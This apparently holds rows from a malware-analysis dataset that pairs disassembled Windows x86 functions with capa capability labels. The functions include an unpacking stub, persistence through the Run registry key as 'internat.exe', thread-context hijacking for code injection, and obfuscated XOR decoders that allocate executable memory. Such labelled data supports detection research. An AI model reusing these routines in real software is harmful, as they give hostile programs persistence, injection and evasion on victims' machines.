joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406de0
Capabilities:
Hide graphical window

Disassembly:
push 0
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_ShowWindow
push 0xffffffffffffffec
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_GetWindowLongA
or eax, 0x80
push eax
push 0xffffffffffffffec
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_SetWindowLongA
push 5
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x4659a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x457015
lea edi, [esi - 0x56015]
push edi
or ebp, 0xffffffff
jmp 0x4659c2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4659c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4659b8
mov eax, 1
add ebx, ebx
jne 0x4659db
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4659d0
jne 0x4659ec
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4659d0
xor ecx, ecx
sub eax, 3
jb 0x465a00
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x465a72
mov ebp, eax
add ebx, ebx
jne 0x465a0b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x465a18
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x465a3c
inc ecx
add ebx, ebx
jne 0x465a28
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x465a1d
jne 0x465a39
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x465a1d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x465a5c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x465a4d
jmp 0x4659be
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x465a5c
add edi, ecx
jmp 0x4659be
pop esi
mov edi, esi
mov ecx, 0x33e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x465a7a
cmp byte [edi], 0
jne 0x465a7a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x465a7f
lea edi, [esi + 0x63000]
mov eax, dword [edi]
or eax, eax
je 0x465aee
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x651f0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x65254]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x465aac
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x65258]
or eax, eax
je 0x465ae8
mov dword [ebx], eax
add ebx, 4
jmp 0x465ac9
call dword [esi + 0x6525c]
popal
jmp 0x40da18
Function at 0x401060
Capabilities:
Read file via mapping

Disassembly:
mov eax, dword [esp + 4]
push esi
push 0
push 0x80
push 3
push 0
push 1
push 0xc0000000
mov esi, ecx
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esi + 0x14], eax
jne 0x40108e
xor eax, eax
pop esi
ret 4
push 0
push 0
push 0
push 4
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
test eax, eax
mov dword [esi + 0x10], eax
jne 0x4010aa
pop esi
ret 4
push 0
push 0
push 0
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
xor ecx, ecx
mov dword [esi + 0xc], eax
test eax, eax
setne cl
mov eax, ecx
pop esi
ret 4

Function at 0x401100
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
mov esi, ecx
push edi
push 0
mov eax, dword [esi + 0x14]
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea ecx, [esp + 8]
push 0
push ecx
mov ecx, esi
call fcn.004010d0
mov edx, dword [esi + 0xc]
push eax
mov eax, dword [esi + 0x14]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [esi + 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call edi
mov edx, dword [esi + 0x10]
push edx
call edi
pop edi
pop esi
pop ecx
ret

Function at 0x401150
Capabilities:
Get file size

Disassembly:
push ecx
push esi
mov esi, dword [ecx + 0xc]
mov edx, dword [esp + 0xc]
push edi
mov eax, dword [esi + 0x3c]
mov dword [eax + esi + 0x28], edx
mov ecx, dword [ecx + 0x14]
lea edi, [eax + esi + 0x18]
lea eax, [esp + 0x10]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
lea edx, [esp + 8]
lea ecx, [esp + 0x10]
push edx
push ecx
push eax
push esi
call dword [sym.imp.IMAGEHLP.dll_CheckSumMappedFile]
mov edx, dword [esp + 8]
mov dword [edi + 0x40], edx
pop edi
pop esi
pop ecx
ret 4

Function at 0x401410
Capabilities:
Get common file path

Disassembly:
sub esp, 0x108
lea eax, [esp]
push ebx
push ebp
push esi
push edi
push 0x104
mov ebx, ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.Internat.exe
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x10]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov ecx, ebx
call fcn.00401060
test eax, eax
jne 0x401475
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x108
ret
mov ecx, ebx
call fcn.004010d0
mov ecx, ebx
mov esi, eax
call fcn.004013a0
mov ecx, ebx
mov edi, eax
call fcn.004010e0
mov ecx, dword [ebx + 0x10]
mov ebp, eax
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebx + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add edi, esi
xor eax, eax
cmp ebp, edi
mov dword [ebx + 0x10], eax
mov dword [ebx + 0x14], eax
pop edi
sbb eax, eax
pop esi
pop ebp
pop ebx
neg eax
add esp, 0x108
ret
Function at 0x4014c0
Capabilities:
Create process on windows
Create process suspended
Get common file path

Disassembly:
sub esp, 0x15c
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x64]
push 0x104
mov ebx, ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, 0x408080
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x64]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x64]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov ecx, ebx
call fcn.004011a0
lea ecx, [esp + 0x54]
lea edx, [esp + 0x10]
xor eax, eax
push ecx
push edx
push eax
push eax
push eax
push eax
push eax
push eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov word [esp + 0x62], ax
mov dword [esp + 0x64], eax
push eax
lea eax, [esp + 0x88]
push eax
mov dword [esp + 0x38], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x15c
ret

Function at 0x401620
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 0xc]
push esi
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40164b
xor eax, eax
pop esi
ret 0x10
mov edx, dword [esp + 8]
mov eax, dword [esp + 0xc]
add edx, 4
mov ecx, eax
push edi
mov edi, dword [esp + 0x18]
sub ecx, edx
push 0
add ecx, edi
mov ecx, dword [ecx]
sub eax, ecx
sub eax, edx
lea edx, [esp + 0x18]
add eax, edi
push edx
push ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
test edi, edi
pop edi
pop esi
setne al
ret 0x10
Function at 0x401690
Capabilities:
Get common file path
Get file size
Read file on windows

Disassembly:
sub esp, 0x218
push ebx
push esi
push edi
lea eax, [esp + 0x11c]
push 0x104
mov dword [esp + 0x10], ecx
push eax
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x14]
push 0x104
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edi, [esp + 0x14]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
dec ecx
js 0x4016e5
mov al, 0x5c
cmp byte [esp + ecx + 0x14], al
je 0x4016e1
dec ecx
jns 0x4016d6
jmp 0x4016e5
lea esi, [esp + ecx + 0x14]
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x11c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0x80
mov ecx, ebx
push 3
push eax
and ecx, 3
push 1
lea eax, [esp + 0x130]
push 0x80000000
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401746
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x218
ret 4
lea ecx, [esp + 0x10]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
test edi, edi
jne 0x401778
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x218
ret 4
push ebp
lea edx, [esp + 0x14]
push 0
push edx
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebp, ebp
pop ebp
push edi
jne 0x4017ac
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x218
ret 4
mov eax, dword [esp + 0x22c]
mov ecx, dword [esp + 0x10]
push eax
push ebx
push 0
call fcn.00401620
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 0x218
ret 4

Function at 0x4017e0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ecx
mov eax, dword [esp + 8]
push esi
push 0
push 0x80
push 3
push 0
push 1
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40180d
xor eax, eax
pop esi
pop ecx
ret 8
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 2
push 0
push 0xfffffffffffffffc
push esi
call edi
lea ecx, [esp + 8]
push 0
push ecx
lea edx, [esp + 0x18]
push 4
push edx
push esi
mov dword [esp + 0x1c], 0
mov dword [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [esp + 0x10]
mov eax, 0xfffffffc
sub eax, ecx
push 2
push 0
push eax
push esi
mov dword [esp + 0x20], eax
call edi
push 1
push 0
push 0xffc
push esi
call edi
lea eax, [esp + 8]
push 0
push eax
lea ecx, [esp + 0x1c]
push 4
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ecx
ret 8
Function at 0x4018d0
Capabilities:
Get common file path
Persist via run registry key
Set registry value

Disassembly:
sub esp, 0x22c
lea eax, [esp]
push esi
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov esi, ecx
push 0x80000002
mov dword [esp + 0x18], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40190b
xor eax, eax
pop esi
add esp, 0x22c
ret
push ebx
push edi
lea edi, [esi + 4]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x14]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x134]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esp + 0x28]
push 0x104
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edi, [esp + 0x28]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
dec ecx
js 0x40197c
mov al, 0x5c
cmp byte [esp + ecx + 0x28], al
je 0x401974
dec ecx
jns 0x401969
jmp 0x40197c
lea eax, [esp + ecx + 0x28]
mov dword [esp + 0x10], eax
mov edi, dword [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x130]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov edx, dword [esp + 0xc]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x130]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
lea eax, [esp + 0x130]
push ecx
push eax
push 1
lea ecx, [esp + 0x20]
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, eax
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
test esi, esi
pop ebx
pop esi
sete al
add esp, 0x22c
ret

Function at 0x401a00
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x401a2f
xor eax, eax
pop ecx
ret 4
mov edx, dword [esp + 8]
push esi
push edi
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [esp + 0xc]
push edx
push 1
push eax
push str.internat.exe
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 8]
mov esi, eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
test esi, esi
sete al
pop esi
pop ecx
ret 4
Function at 0x402160
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebx
xor ebx, ebx
push esi
push ebx
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x402206
push ebp
push edi
mov ecx, 0x4a
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
mov edi, 0x128
push eax
push esi
mov dword [esp + 0x18], edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4021f2
mov ebp, dword [esp + 0x13c]
lea ecx, [esp + 0x34]
push ecx
call fcn.00402130
lea edx, [esp + 0x38]
push ebp
push edx
call fcn.00402970
add esp, 0xc
test eax, eax
jne 0x4021ee
lea eax, [esp + 0x10]
mov dword [esp + 0x10], edi
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x4021ab
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop ebp
mov eax, ebx
pop esi
pop ebx
add esp, 0x128
ret
mov ebx, dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop ebp
mov eax, ebx
pop esi
pop ebx
add esp, 0x128
ret
mov eax, ebx
pop esi
pop ebx
add esp, 0x128
ret

Function at 0x402220
Capabilities:
Enumerate threads

Disassembly:
sub esp, 0x1c
push ebx
push esi
push edi
xor ebx, ebx
mov ecx, 6
xor eax, eax
lea edi, [esp + 0x10]
mov dword [esp + 0xc], ebx
push ebx
push 4
rep stosd dword es:[edi], eax
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x40228b
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0x1c
push eax
push esi
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x402284
mov edi, dword [esp + 0x2c]
mov eax, dword [esp + 0x18]
cmp eax, edi
je 0x402280
lea ecx, [esp + 0xc]
push ecx
push esi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
je 0x402284
cmp dword [esp + 0x18], edi
jne 0x40226b
mov ebx, dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebx
pop esi
pop ebx
add esp, 0x1c
ret
Function at 0x4027e0
Capabilities:
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
sub esp, 0x2cc
push ebx
mov ebx, dword [esp + 0x2d4]
test ebx, ebx
je 0x402882
push ebx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea eax, [esp + 4]
mov dword [esp + 4], 0x10007
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x40287b
call fcn.004027b0
test eax, eax
je 0x402830
mov ecx, dword [esp + 0xbc]
push ecx
call fcn.004022a0
add esp, 4
jmp 0x402846
mov edx, dword [esp + 0xbc]
mov eax, dword [0x408718]
push edx
push eax
call fcn.00402580
add esp, 8
push esi
push edi
mov ecx, 0xb3
lea esi, [esp + 0xc]
mov edi, 0x408728
lea edx, [esp + 0xc]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [0x4089f4]
push edx
push ebx
mov dword [esp + 0xcc], ecx
mov dword [esp + 0x14], 0x10007
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
pop edi
pop esi
push ebx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop ebx
add esp, 0x2cc
ret

Function at 0x404391
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x408260
cmp edx, dword [eax]
je 0x4043b3
add eax, 8
inc ecx
cmp eax, 0x4082f0
jl 0x4043a4
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x408260]
jne 0x4044e1
mov eax, dword [0x408a08]
cmp eax, 1
je 0x4044bb
test eax, eax
jne 0x4043e4
cmp dword [0x4081a4], 1
je 0x4044bb
cmp edx, 0xfc
je 0x4044e1
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40441b
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00405600
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004056f0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40445e
lea eax, [ebp - 0x1a4]
push eax
call fcn.004056f0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40749c
push edi
call fcn.00405b30
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00405600
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00405610
lea eax, [ebp - 0xa0]
push 0x40747c
push eax
call fcn.00405610
push dword [esi + 0x408264]
lea eax, [ebp - 0xa0]
push eax
call fcn.00405610
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00405aa5
add esp, 0x2c
pop edi
jmp 0x4044e1
lea eax, [ebp + 8]
lea esi, [esi + 0x408264]
push 0
push eax
push dword [esi]
call fcn.004056f0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x40c302
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x40c311
pop dword [ebp - 0x3c]
mov eax, 0xf388d45d
add eax, 0xcb7eeb4
sub dword [ebp - 0x3c], eax
push 0x40
push 0x1000
push 0x3a5de
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x3c]
call dword [eax]
mov ecx, 0x4b42
xor edx, edx
add edx, eax
mov edi, 0xd1aedeed
sub edi, 0xd16da329
add edi, dword [ebp - 0x3c]
mov esi, 0xc5f05f46
add esi, 0xfe69cce6
xor dword [ebp - 0x38], ecx
mov ebx, dword [edi]
add dword [ebp - 0xc], 0x8b37988f
add ebx, esi
sub dword [ebp - 0x28], edi
mov dword [edx], ebx
add dword [ebp - 0x10], 0x112b2c7f
add edx, 0xc14a8c4
add edx, 0xf3eb5740
add edi, 0xae949814
sub edi, 0xae949810
loop 0x40c367
add eax, 0x11fdb
xor ebx, ebx
add ebx, eax
add eax, 0x659a57d2
add eax, 0x9a65a833
mov ecx, 0xfe362376
add ecx, 0x209dc8a
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x4c134ae
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x2ce3b32
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x414ac0
Capabilities:
Encode data using xor

Disassembly:
daa
mov al, byte [0x728772a3]
rcl dword [ebx - 0x3a], cl
sal byte [eax], 1
xor eax, dword [edi - 0x2dcc0c30]
pop ecx
push ss
mov eax, 0x7678d8c2
mov ebx, dword [ebx - 0x5a]
and eax, dword [edi]
in eax, dx
xor esp, dword [edx - 0x3a]
sal bl, 1
inc esi
rcl byte [ebx + 0xb], 0x32
cmc
xchg edx, eax
jo 0x414a57
push ebx
invalid
xchg byte [edi + edi*8 - 0x782e9050], ah
and byte [eax + edi], al
inc edi
cwde
cmp eax, edx
invalid
rcr byte [ecx + 0x16], cl
cmc
add byte [eax], 0xa2
jb 0x414a50
rcr dword [ebx - 0xc6dba1d], 1
pop ecx
jno 0x414b0a
mov esi, esi
jns 0x414b05
mov dword [0xd1623db], eax
int3
push ebx
invalid
sal bl, 1
xor eax, dword [edi - 0x78cc0c30]
sal bl, 1
xor edi, dword [eax + 0x2f]
xor eax, dword [edi + 0x7833f3d0]
das
or al, 0xcc
xchg eax, edx
xor edi, dword [eax + 0x2f]
or al, 0xcc
xchg eax, edx
xor eax, dword [edi - 0x78cc0c30]
sal bl, 1
xor eax, dword [edi - 0x7c208f30]
pop ss
not dword [edi]
imul edi, dword [eax - 0x4f], 0x33
mov gs, word [ebx]
mov esp, 0xb2a0875b
xor ecx, ecx
xchg edi, eax
dec ebx
jmp 0x414b46
xchg ebx, eax
jbe 0x414af7
das
mov ch, 0x8a
xchg eax, eax
mov bl, 0x33
push es
pop ss
xor eax, dword [edi + 0x6edd72d0]
cmpsb byte [esi], byte es:[edi]
sti
rol dword [esi], 1
xor eax, dword ds:[edi - 0x33ecb630]
xchg ecx, eax
mov dl, 0x68
jb 0x414baa
pop es
mov dword [0xacdb0cd1], eax
sal bl, 1
xor edi, dword [edx + edi*8]
sahf
call 0xc61bd4be
or al, 0xc4
xlatb
mov al, 0x43
aam 0x72
hlt
xor esp, dword [esi + 0x668a42b]
aas
adc bh, byte [edx - 0x1d355191]
xor eax, 0xd086dc72
xor eax, dword [esi]
adc esi, edx
xor eax, dword [edi + 0x40b230d0]
into
push 0x856e70b3
invalid
Function at 0x401608
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov esi, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 8]
test esi, esi
sete dl
test ebx, ebx
sete al
xor ecx, ecx
or dl, al
jne 0x401727
mov edx, dword [ebp + 0xc]
lea eax, [edx*4 + 0xb]
mov edx, 0xc
mov ecx, edx
cdq
idiv ecx
lea eax, [eax*4 + 1]
cmp dword [ebp + 0x14], eax
jge 0x40168f
push 0x6f
call sub.KERNEL32.DLL_SetLastError
xor ecx, ecx
jmp 0x401727
and eax, 3
shl eax, 4
movzx eax, byte [eax + section.5689iblr]
mov byte [ecx + 2], 0x3d
mov byte [ecx + 3], 0x3d
mov byte [ecx + 1], al
add ecx, 4
jmp 0x40171f
and eax, 0xf
movzx eax, byte [eax*4 + section.5689iblr]
mov byte [ecx + 3], 0x3d
mov byte [ecx + 2], al
mov ecx, esi
jmp 0x40171f
xor edi, edi
cmp edi, dword [ebp + 0xc]
mov ecx, esi
jge 0x40171f
movzx eax, byte [ebx]
shr al, 2
movzx eax, al
movzx eax, byte [eax + section.5689iblr]
mov byte [esi], al
mov esi, dword [ebp + 0xc]
movzx eax, byte [ebx]
sub esi, edi
cmp esi, 1
je 0x401656
mov edx, eax
and edx, 3
shl edx, 4
movzx eax, byte [ebx + 1]
shr al, 4
movzx eax, al
or edx, eax
cmp esi, 2
lea esi, [ecx + 4]
movzx eax, byte [edx + section.5689iblr]
mov byte [ecx + 1], al
movzx eax, byte [ebx + 1]
je 0x401676
mov edx, eax
movzx eax, byte [ebx + 2]
and edx, 0xf
add edi, 3
shl edx, 2
shr al, 6
movzx eax, al
or edx, eax
movzx eax, byte [edx + section.5689iblr]
mov byte [ecx + 2], al
movzx eax, byte [ebx + 2]
add ebx, 3
and eax, 0x3f
movzx eax, byte [eax + section.5689iblr]
mov byte [ecx + 3], al
jmp 0x401691
mov byte [ecx], 0
mov ecx, 1
lea esp, [ebp - 0xc]
mov eax, ecx
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x401732
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
push 0
push 0xa7
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 8]
mov dword [ebp - 0x10], 0
call sub.KERNEL32.DLL_CreateFileA
mov dword [ebp - 0x18], eax
cmp eax, 0xffffffff
sete dl
test eax, eax
sete al
xor ecx, ecx
or dl, al
jne 0x401818
push 0
push dword [ebp - 0x18]
call sub.KERNEL32.DLL_GetFileSize
push eax
push 0
mov dword [ebp - 0x14], eax
call sub.KERNEL32.DLL_GetProcessHeap
push eax
call sub.KERNEL32.DLL_HeapAlloc
test eax, eax
mov edi, eax
je 0x4017b9
push 0
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x14]
push edi
push dword [ebp - 0x18]
call sub.KERNEL32.DLL_ReadFile
test eax, eax
jne 0x4017c5
push edi
push 0
call sub.KERNEL32.DLL_GetProcessHeap
push eax
call sub.KERNEL32.DLL_HeapFree
push dword [ebp - 0x18]
call sub.KERNEL32.DLL_CloseHandle
xor ecx, ecx
jmp 0x401818
mov eax, dword [ebp - 0x14]
mov edx, 0xc
mov ebx, edx
xor edx, edx
lea ecx, [eax*4 + 0xb]
mov eax, ecx
div ebx
lea esi, [eax*4 + 1]
push esi
push 0x40
call sub.KERNEL32.DLL_GlobalAlloc
push esi
mov ebx, eax
push eax
push dword [ebp - 0x14]
push edi
call fcn.00401608
mov edx, dword [ebp + 0xc]
add esp, 0x10
mov dword [edx], eax
push edi
push 0
call sub.KERNEL32.DLL_GetProcessHeap
push eax
call sub.KERNEL32.DLL_HeapFree
push dword [ebp - 0x18]
call sub.KERNEL32.DLL_CloseHandle
mov ecx, ebx
lea esp, [ebp - 0xc]
mov eax, ecx
pop ebx
pop esi
